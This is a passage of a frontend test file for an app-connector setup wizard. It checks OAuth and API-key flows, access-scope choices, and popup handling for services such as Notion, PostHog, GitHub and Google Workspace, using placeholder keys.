||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "github",
|
||
grantKind: "agent",
|
||
subjectAgentId: "agent-1",
|
||
}));
|
||
});
|
||
|
||
it.each([...new Set(Object.values(GOOGLE_WORKSPACE_CONNECTOR_PROFILES).map((profile) => profile.appSlug))]
|
||
.flatMap((slug) => [false, true].map((enrollmentReturn) => ({ slug, enrollmentReturn }))))(
|
||
"preserves personal Workspace access for $slug when changing method (enrollment return: $enrollmentReturn)",
|
||
async ({ slug, enrollmentReturn }) => {
|
||
const definition = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === slug)!;
|
||
const readMethod = definition.methods.find((method) => method.key === "paperclip-read")!;
|
||
mockSearch.value = enrollmentReturn
|
||
? `source=${slug}&stage=setup&cloud_connector=enrolled`
|
||
: `source=${slug}`;
|
||
if (enrollmentReturn) {
|
||
window.sessionStorage.setItem(`paperclip.connector-enrollment-access:${slug}`, JSON.stringify({
|
||
companyId: "company-1", grantKind: "user", installChoice: "all", agentIds: [],
|
||
}));
|
||
}
|
||
listGalleryMock.mockResolvedValue({ apps: [{
|
||
...definition, ownershipAvailability: { ...definition.ownershipAvailability, platform_shared: true },
|
||
}] });
|
||
await render();
|
||
await openAccessAdvanced();
|
||
if (!enrollmentReturn) {
|
||
await act(async () => {
|
||
radioContaining("Just me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
if (definition.methods.some((method) => method.capabilityProfile?.key !== "read")) {
|
||
const readChoice = radioContaining(readMethod.capabilityProfile!.label);
|
||
expect(readChoice).not.toBeNull();
|
||
await act(async () => {
|
||
readChoice!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
}
|
||
await flushReact();
|
||
// Change auth methods too, including apps with only one capability.
|
||
expect(container.textContent).not.toContain("Connect with Paperclip");
|
||
expect(container.textContent).not.toContain("needs its own OAuth app");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
const customerAuth = buttonByText("Use your own Google OAuth app");
|
||
expect(customerAuth).toBeDefined();
|
||
expect(customerAuth?.getAttribute("aria-expanded")).toBe("false");
|
||
await act(async () => {
|
||
customerAuth!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(container.textContent).toContain("needs its own OAuth app");
|
||
expect(container.textContent).toContain("Client ID");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(true);
|
||
const managedAuth = buttonByText("Use Paperclip instead");
|
||
expect(managedAuth).toBeDefined();
|
||
expect(managedAuth?.getAttribute("aria-expanded")).toBe("true");
|
||
const fieldsRegion = document.getElementById(managedAuth!.getAttribute("aria-controls")!);
|
||
expect(fieldsRegion?.getAttribute("role")).toBe("region");
|
||
expect(fieldsRegion?.textContent).toContain("Client ID");
|
||
await act(async () => {
|
||
managedAuth!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(container.textContent).not.toContain("needs its own OAuth app");
|
||
await act(async () => {
|
||
buttonByText("Continue to sign in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: slug, connectionMethodKey: "paperclip-read", grantKind: "user",
|
||
}));
|
||
});
|
||
|
||
it("never renders self-host enrollment when the connector identity is already active", async () => {
|
||
mockSearch.value = "source=gmail&stage=setup";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [{
|
||
...GMAIL,
|
||
methods: GMAIL.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("You must connect this instance to Paperclip");
|
||
expect(container.textContent).not.toContain("Connect with Paperclip");
|
||
});
|
||
|
||
it("keeps Google Drive prerequisites off access and defaults to its write-capable method", async () => {
|
||
mockParams.appKey = "google-drive";
|
||
listGalleryMock.mockResolvedValue({ apps: [GOOGLE_DRIVE] });
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("Google Developer Preview access required");
|
||
expect(container.textContent).not.toContain("does not enable unrelated Paperclip customers");
|
||
expect(container.textContent).not.toContain("final project-registration email");
|
||
expect(container.textContent).not.toContain("Apply or verify Developer Preview enrollment");
|
||
await openAccessAdvanced();
|
||
expect(radioContaining("Just me")).toBeTruthy();
|
||
expect(radioContaining("Any human in the organization")?.getAttribute("aria-checked")).toBe("true");
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Read & create");
|
||
expect(radioContaining("Read & create")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Read only")?.getAttribute("aria-checked")).toBe("false");
|
||
expect(container.textContent).not.toContain("Before connecting, enroll the signed-in Workspace account");
|
||
expect(container.textContent).toContain("Review requirements");
|
||
expect(container.textContent).toContain("needs its own OAuth app");
|
||
});
|
||
|
||
it("renders Google Calendar as one minimal, unboxed setup screen", async () => {
|
||
mockParams.appKey = "google-calendar";
|
||
listGalleryMock.mockResolvedValue({ apps: [GOOGLE_CALENDAR] });
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
const duplicateHeadings = Array.from(container.querySelectorAll("h1, h2")).filter(
|
||
(heading) => heading.textContent?.trim() === "Connect Google Calendar",
|
||
);
|
||
expect(duplicateHeadings).toHaveLength(1);
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("What should Paperclip be able to do?");
|
||
expect(container.textContent).toContain("Review requirements");
|
||
expect(container.textContent).not.toContain("Connect Google Calendar to read and manage events.");
|
||
expect(container.textContent).not.toContain("All event mutations require approval.");
|
||
expect(container.textContent).not.toContain("Google Workspace MCP servers are in Developer Preview.");
|
||
expect(container.textContent).not.toContain("We filled this in from the app.");
|
||
expect(container.textContent).not.toContain("You’ll continue to Google Calendar");
|
||
expect(container.textContent).not.toContain("You’ll sign in before anything turns on.");
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
|
||
const capabilityQuestion = Array.from(container.querySelectorAll("label")).find(
|
||
(label) => label.textContent === "What should Paperclip be able to do?",
|
||
);
|
||
expect(capabilityQuestion?.closest(".max-w-xl")?.classList.contains("bg-card")).toBe(false);
|
||
});
|
||
|
||
it("keeps Shopify prerequisite copy off access before collecting the store domain", async () => {
|
||
mockParams.appKey = "shopify";
|
||
listGalleryMock.mockResolvedValue({ apps: [SHOPIFY] });
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("Launch the storefront before connecting");
|
||
expect(container.textContent).not.toContain("Storefront visibility to Public");
|
||
expect(container.textContent).not.toContain("Open Shopify Admin");
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).not.toContain("Launch the storefront before connecting");
|
||
expect(container.textContent).not.toContain("Open Shopify Admin");
|
||
});
|
||
|
||
/**
|
||
* Design §"Question 2": a member who may create a personal grant but cannot
|
||
* configure a company-wide install sees **Any agent** disabled with the
|
||
* reason — not hidden. Disabling it is only half the job; Continue has to
|
||
* refuse it too, or the forbidden choice is still submittable by keyboard.
|
||
*
|
||
* Driven through AppsConnect so this proves the pre-connection capability
|
||
* returned with the gallery reaches the real create flow.
|
||
*/
|
||
it("disables Any agent and blocks Continue when the member cannot install company-wide", async () => {
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [POSTHOG],
|
||
capabilities: {
|
||
canCreateOrganizationGrant: false,
|
||
organizationGrantReason: "Only connection managers can share this credential.",
|
||
canSetCompanyInstall: false,
|
||
companyInstallReason: "Your company policy limits this choice to connection managers.",
|
||
},
|
||
});
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
const anyAgent = Array.from(
|
||
document.body.querySelectorAll<HTMLButtonElement>('[role="radio"]'),
|
||
).find((r) => r.textContent?.includes("Any agent"));
|
||
|
||
// Visible and not selectable; the reason stays available without adding
|
||
// visual subtext to the compact option.
|
||
expect(anyAgent).toBeTruthy();
|
||
expect(anyAgent?.disabled).toBe(true);
|
||
expect(anyAgent?.textContent).not.toContain(
|
||
"Your company policy limits this choice to connection managers.",
|
||
);
|
||
expect(anyAgent?.getAttribute("title")).toBe(
|
||
"Your company policy limits this choice to connection managers.",
|
||
);
|
||
expect(anyAgent?.getAttribute("aria-label")).toContain(
|
||
"Your company policy limits this choice to connection managers.",
|
||
);
|
||
const organization = radioContaining("Any human in the organization");
|
||
expect(organization?.disabled).toBe(true);
|
||
expect(organization?.getAttribute("title")).toBe(
|
||
"Only connection managers can share this credential.",
|
||
);
|
||
expect(radioContaining("Just me")?.disabled).toBe(false);
|
||
// "Just agents I pick" is the live alternative, so the step is not a dead end.
|
||
const pick = Array.from(
|
||
document.body.querySelectorAll<HTMLButtonElement>('[role="radio"]'),
|
||
).find((r) => r.textContent?.includes("Just agents I pick"));
|
||
expect(pick?.disabled).toBe(false);
|
||
// PAP-659: a reach the member cannot grant is reported above the primary
|
||
// action rather than disabling it, and "Just agents I pick" is the live
|
||
// alternative, so the screen is not a dead end.
|
||
expect(container.textContent).toContain(
|
||
"Your company policy limits this choice to connection managers.",
|
||
);
|
||
});
|
||
|
||
it("opens the selected app directly on its setup route", async () => {
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
|
||
// PAP-659: a deep-linked app lands on its one connect screen. Identity and
|
||
// reach are stated there and changed in the same Advanced disclosure.
|
||
expect(container.textContent).toContain("Connects for everyone in your organization");
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("Connect GitHub as");
|
||
|
||
expect(container.textContent).toContain("Connect GitHub");
|
||
expect(container.textContent).not.toContain("Pick the app you want your agents to use.");
|
||
});
|
||
|
||
it("connects Superagent with only an organization API key", async () => {
|
||
mockParams.appKey = "superagent";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [SUPERAGENT] });
|
||
await render();
|
||
|
||
expect(radioContaining("Sign in with")).toBeFalsy();
|
||
// The Ask-first advice must be visible on the key form, which renders the
|
||
// credential helper text rather than method warnings.
|
||
expect(container.textContent).toContain("set billable and destructive actions to Ask first");
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(keyInput).toBeTruthy();
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
|
||
await act(async () => {
|
||
setInputValue(keyInput!, "sk_live_test-key");
|
||
});
|
||
await flushReact();
|
||
const submit = buttonByText("Connect");
|
||
expect(submit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "superagent",
|
||
connectionMethodKey: "mcp-api-key",
|
||
credentialValues: { "credentials.authorization": "sk_live_test-key" },
|
||
}));
|
||
});
|
||
|
||
it("enables Neon's Connect button only once the API key is entered, with pin and read-only optional", async () => {
|
||
mockParams.appKey = "neon";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NEON] });
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
expect(radioContaining("Sign in with Neon")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
radioContaining("Use an API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(keyInput).toBeTruthy();
|
||
expect(container.textContent).toContain("Pin to project ID");
|
||
expect(container.querySelector<HTMLInputElement>('input[placeholder="Optional Neon project ID"]')).toBeTruthy();
|
||
expect(container.querySelector('[role="switch"]')?.getAttribute("aria-checked")).toBe("false");
|
||
// The key is the only required input on this method: Connect waits for it
|
||
// and for nothing else, since both narrowing controls are optional.
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
|
||
await act(async () => {
|
||
setInputValue(keyInput!, "napi_test-key");
|
||
});
|
||
await flushReact();
|
||
const submit = buttonByText("Connect");
|
||
expect(submit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "neon",
|
||
connectionMethodKey: "mcp-api-key",
|
||
credentialValues: { "credentials.authorization": "napi_test-key" },
|
||
configValues: { readOnly: false },
|
||
}));
|
||
});
|
||
|
||
it("connects PostHog without a project ID and keeps optional controls advanced", async () => {
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [POSTHOG] });
|
||
await render();
|
||
// PAP-659: identity is stated, not asked, and the method chooser moved
|
||
// into the same Advanced disclosure.
|
||
expect(container.textContent).toContain("Connects for everyone in your organization");
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("How do you want to connect?");
|
||
// PAP-659 C1: OAuth is strictly less work than a key, so it is preselected.
|
||
expect(radioContaining("Sign in with PostHog")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Use a personal API key")?.getAttribute("aria-checked")).toBe("false");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
radioContaining("Use a personal API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).not.toContain("Where are credentials managed?");
|
||
expect(container.textContent).not.toContain("Vercel Connect");
|
||
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
const advanced = buttonByText("Change");
|
||
expect(keyInput).toBeTruthy();
|
||
// PAP-659: the optional controls share the one Advanced disclosure with
|
||
// the access defaults, so they are visible because it is already open —
|
||
// and they are still optional, so none of them blocks Connect.
|
||
expect(advanced).toBeTruthy();
|
||
expect(container.textContent).toContain("Pin to project ID");
|
||
expect(container.querySelector<HTMLInputElement>('input[placeholder="Optional numeric project ID"]')).toBeTruthy();
|
||
expect(container.querySelector('[role="switch"]')?.getAttribute("aria-checked")).toBe("false");
|
||
expect(container.textContent).toContain("Feature groups");
|
||
expect(container.textContent).toContain("Individual tools");
|
||
expect(container.textContent).not.toContain("Tool response mode");
|
||
|
||
await act(async () => {
|
||
setInputValue(keyInput!, "phx_test-key");
|
||
});
|
||
await flushReact();
|
||
const submit = buttonByText("Connect");
|
||
expect(submit).toBeTruthy();
|
||
expect(submit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||
galleryKey: "posthog",
|
||
connectionMethodKey: "mcp-api-key",
|
||
name: "PostHog for the organization",
|
||
credentialSource: "paperclip_vault",
|
||
credentialValues: { "credentials.authorization": "phx_test-key" },
|
||
configValues: {
|
||
readOnly: false,
|
||
mode: "tools",
|
||
},
|
||
applicationId: undefined,
|
||
// Flexible methods default to a company identity, represented by omitting
|
||
// the optional personal grantKind from the request.
|
||
});
|
||
});
|
||
|
||
it("hands reviewed PostHog credentials to Vercel and submits only the connector reference", async () => {
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [POSTHOG],
|
||
credentialSources: {
|
||
vercelConnect: {
|
||
available: true,
|
||
enabled: true,
|
||
authentication: "access_token",
|
||
manageUrl: "https://vercel.com/connect",
|
||
reason: null,
|
||
},
|
||
},
|
||
});
|
||
await render(undefined, false, <AppsConnect credentialSource="vercel_connect" />);
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
radioContaining("Use a personal API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Create or attach the connector in Vercel");
|
||
expect(container.querySelector('a[href="https://vercel.com/connect"]')).toBeTruthy();
|
||
expect(container.querySelector<HTMLInputElement>('input[type="password"]')).toBeNull();
|
||
const connectorInput = container.querySelector<HTMLInputElement>('#vercel-connect-connector');
|
||
expect(connectorInput).toBeTruthy();
|
||
await act(async () => {
|
||
setInputValue(connectorInput!, "posthog/paperclip");
|
||
});
|
||
await flushReact();
|
||
const vercelSubmit = buttonByText("Validate and connect");
|
||
expect(vercelSubmit).toBeTruthy();
|
||
expect(vercelSubmit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
vercelSubmit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||
galleryKey: "posthog",
|
||
connectionMethodKey: "mcp-api-key",
|
||
name: "PostHog for the organization",
|
||
credentialSource: "vercel_connect",
|
||
vercelConnect: { connector: "posthog/paperclip" },
|
||
configValues: { readOnly: false, mode: "tools" },
|
||
applicationId: undefined,
|
||
});
|
||
expect(JSON.stringify(connectAppMock.mock.calls[0])).not.toContain("credentialValues");
|
||
});
|
||
|
||
it("folds optional customer-owned OAuth details under Change", async () => {
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [POSTHOG] });
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
await act(async () => {
|
||
radioContaining("Sign in with PostHog")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const advanced = buttonByText("Change");
|
||
expect(advanced?.getAttribute("aria-expanded")).toBe("false");
|
||
expect(container.textContent).not.toContain("Use your own OAuth app");
|
||
expect(container.querySelector("#curated-oauth-client-id")).toBeNull();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
advanced?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Use your own OAuth app");
|
||
expect(container.querySelector("#curated-oauth-client-id")).toBeTruthy();
|
||
expect(container.textContent).toContain("Paperclip callback URL");
|
||
});
|
||
|
||
it("shows unavailable Vercel configuration only inside the isolated Vercel entry point", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [POSTHOG],
|
||
credentialSources: {
|
||
vercelConnect: {
|
||
available: false,
|
||
enabled: true,
|
||
authentication: null,
|
||
manageUrl: "https://vercel.com/connect",
|
||
reason: "Vercel Connect needs workload OIDC or an instance access token.",
|
||
},
|
||
},
|
||
});
|
||
await render(undefined, false, <AppsConnect credentialSource="vercel_connect" />);
|
||
|
||
expect(container.textContent).toContain("Connect through Vercel");
|
||
expect(container.textContent).toContain("Vercel Connect needs workload OIDC or an instance access token.");
|
||
expect(buttonContaining("PostHog")?.disabled).toBe(true);
|
||
expect(container.textContent).not.toContain("Where are credentials managed?");
|
||
});
|
||
|
||
it("renders the same PostHog method choices in page and task-dialog hosts", async () => {
|
||
const methodState = () => ({
|
||
oauth: buttonByText("Sign in with PostHog")?.getAttribute("aria-pressed"),
|
||
apiKey: buttonByText("Use a personal API key")?.getAttribute("aria-pressed"),
|
||
connectDisabled: buttonByText("Connect")?.disabled,
|
||
});
|
||
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValue({ apps: [POSTHOG] });
|
||
const pageRoot = await render();
|
||
await passAccessStep();
|
||
const pageMethods = methodState();
|
||
await act(async () => pageRoot.unmount());
|
||
container.innerHTML = "";
|
||
|
||
mockParams.appKey = undefined;
|
||
const dialogRoot = await render(undefined, false, (
|
||
<ConnectionSetupFlow
|
||
host="dialog"
|
||
serviceSlug="posthog"
|
||
requestedAgentId="agent-1"
|
||
/>
|
||
));
|
||
expect(container.textContent).toContain("available to the agent that asked for it");
|
||
const continueButton = Array.from(container.querySelectorAll("button")).find(
|
||
(button) => button.textContent?.trim().startsWith("Continue"),
|
||
);
|
||
expect(continueButton).toBeTruthy();
|
||
expect(continueButton?.disabled).toBe(false);
|
||
await act(async () => {
|
||
continueButton?.click();
|
||
});
|
||
await flushReact();
|
||
|
||
expect(methodState()).toEqual(pageMethods);
|
||
await act(async () => dialogRoot.unmount());
|
||
});
|
||
|
||
it("reserves the task-dialog OAuth popup before awaiting connection setup and assigns only the validated URL", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [NOTION] });
|
||
let resolveConnect!: (value: unknown) => void;
|
||
connectAppMock.mockReturnValue(new Promise((resolve) => { resolveConnect = resolve; }));
|
||
const assign = vi.fn();
|
||
const focus = vi.fn();
|
||
const openSpy = vi.spyOn(window, "open").mockReturnValue({
|
||
closed: false,
|
||
location: { assign },
|
||
focus,
|
||
} as unknown as Window);
|
||
|
||
const dialogRoot = await render(undefined, false, (
|
||
<ConnectionSetupFlow
|
||
host="dialog"
|
||
serviceSlug="notion"
|
||
requestedAgentId="agent-1"
|
||
interactionId="interaction-1"
|
||
/>
|
||
));
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(openSpy).toHaveBeenCalledWith(
|
||
"about:blank",
|
||
"paperclip-connection-oauth",
|
||
"popup,width=720,height=760,resizable=yes,scrollbars=yes",
|
||
);
|
||
expect(openSpy.mock.invocationCallOrder[0]).toBeLessThan(connectAppMock.mock.invocationCallOrder[0]!);
|
||
expect(assign).not.toHaveBeenCalled();
|
||
|
||
resolveConnect({
|
||
connectionId: "conn-notion",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-notion", credentialPolicy: "per_user" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://untrusted-return-value.test/ignored" },
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-notion", {
|
||
asCurrentUser: true,
|
||
interactionId: "interaction-1",
|
||
});
|
||
expect(assign).toHaveBeenCalledWith("https://mcp.notion.com/authorize?state=resumed");
|
||
expect(assign).not.toHaveBeenCalledWith("https://untrusted-return-value.test/ignored");
|
||
expect(focus).toHaveBeenCalled();
|
||
|
||
openSpy.mockRestore();
|
||
await act(async () => dialogRoot.unmount());
|
||
});
|
||
|
||
it("returns a standalone GitHub popup to its host only after verifying the saved connection", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-github", application: { id: "app-github", name: "GitHub" },
|
||
connection: { id: "conn-github", credentialPolicy: "per_user" },
|
||
actions: { readOnly: [], canMakeChanges: [] }, catalog: [], suggestedDefaults: {},
|
||
auth: { kind: "oauth" },
|
||
});
|
||
const popup = { closed: false, location: { href: "about:blank", assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
vi.spyOn(window, "open").mockReturnValue(popup as unknown as Window);
|
||
const onComplete = vi.fn();
|
||
getConnectionMock.mockResolvedValue({ id: "conn-github", status: "active" });
|
||
const dialogRoot = await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug="github" forceNewConnection onComplete={onComplete} />);
|
||
await passAccessStep();
|
||
await act(async () => buttonByText("Continue to GitHub")!.click());
|
||
await flushReact();
|
||
await flushReact();
|
||
expect(connectAppMock, container.textContent ?? "").toHaveBeenCalled();
|
||
expect(startOAuthMock, container.textContent ?? "").toHaveBeenCalledWith("conn-github", { asCurrentUser: true });
|
||
expect(onComplete).not.toHaveBeenCalled();
|
||
popup.location.href = `${window.location.origin}/CO/apps/conn-github/permissions?success=1`;
|
||
await act(async () => {
|
||
await vi.waitFor(() => expect(onComplete).toHaveBeenCalledWith({ connectionId: "conn-github" }), { timeout: 2500 });
|
||
});
|
||
expect(getConnectionMock).toHaveBeenCalledWith("conn-github");
|
||
expect(popup.close).toHaveBeenCalled();
|
||
await act(async () => dialogRoot.unmount());
|
||
});
|
||
|
||
it("keeps the task dialog recoverable when the browser blocks its reserved OAuth popup", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [NOTION] });
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-notion",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-notion", credentialPolicy: "per_user" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null },
|
||
});
|
||
const openSpy = vi.spyOn(window, "open").mockReturnValue(null);
|
||
const onPhaseChange = vi.fn();
|
||
|
||
const dialogRoot = await render(undefined, false, (
|
||
<ConnectionSetupFlow
|
||
host="dialog"
|
||
serviceSlug="notion"
|
||
requestedAgentId="agent-1"
|
||
interactionId="interaction-1"
|
||
onPhaseChange={onPhaseChange}
|
||
/>
|
||
));
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Open sign-in in a new tab to continue");
|
||
expect(container.textContent).toContain("Try again");
|
||
expect(onPhaseChange).toHaveBeenCalledWith("needs_retry");
|
||
const fallback = container.querySelector<HTMLAnchorElement>('a[target="_blank"]');
|
||
expect(fallback?.textContent).toBe("Open sign-in in a new tab");
|
||
expect(fallback?.href).toContain("https://mcp.notion.com/authorize");
|
||
expect(fallback?.rel).toBe("noopener noreferrer");
|
||
|
||
openSpy.mockRestore();
|
||
await act(async () => dialogRoot.unmount());
|
||
});
|
||
|
||
it("chooses identity before the Notion source deep link opens provider sign-in", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-notion",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-notion" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://mcp.notion.com/authorize?state=opaque" },
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Connects for everyone in your organization");
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).not.toContain("Choose access before sign-in");
|
||
const identityRadios = Array.from(document.body.querySelectorAll('[role="radio"]'));
|
||
expect(identityRadios.find((radio) => radio.textContent?.includes("Any human in the organization"))?.getAttribute("aria-checked"))
|
||
.toBe("true");
|
||
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||
galleryKey: "notion",
|
||
connectionMethodKey: "mcp-oauth",
|
||
name: "Notion for the organization",
|
||
credentialSource: "paperclip_vault",
|
||
credentialValues: {},
|
||
configValues: undefined,
|
||
applicationId: undefined,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=opaque",
|
||
);
|
||
});
|
||
|
||
it("shows an in-flight state while Paperclip prepares Notion sign-in", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockReturnValueOnce(new Promise(() => {}));
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(container.textContent).toContain("Connect Notion");
|
||
expect(container.textContent).toContain("Preparing secure sign-in");
|
||
expect(container.textContent).toContain("Preparing…");
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
});
|
||
|
||
it("keeps the same steps when Notion sign-in takes over the wizard", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockReturnValueOnce(new Promise(() => {}));
|
||
|
||
await render();
|
||
|
||
// PAP-659: a curated connector is a single screen, so it shows no stepper
|
||
// at all. Connecting must not conjure one.
|
||
expect(stepLabelsOnScreen()).toEqual([]);
|
||
expect(stepDotCount()).toBe(0);
|
||
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(container.textContent).toContain("Preparing secure sign-in");
|
||
expect(stepLabelsOnScreen()).toEqual([]);
|
||
expect(stepDotCount()).toBe(0);
|
||
});
|
||
|
||
it("backs from the sign-in checkpoint out to the connector gallery", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockReturnValueOnce(new Promise(() => {}));
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
await act(async () => {
|
||
buttonByText("Back")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps");
|
||
});
|
||
|
||
it("resumes an existing Notion OAuth connection instead of creating another draft", async () => {
|
||
const interactionId = "11111111-1111-4111-8111-111111111111";
|
||
mockSearch.value = `source=notion&intent=${interactionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "draft",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
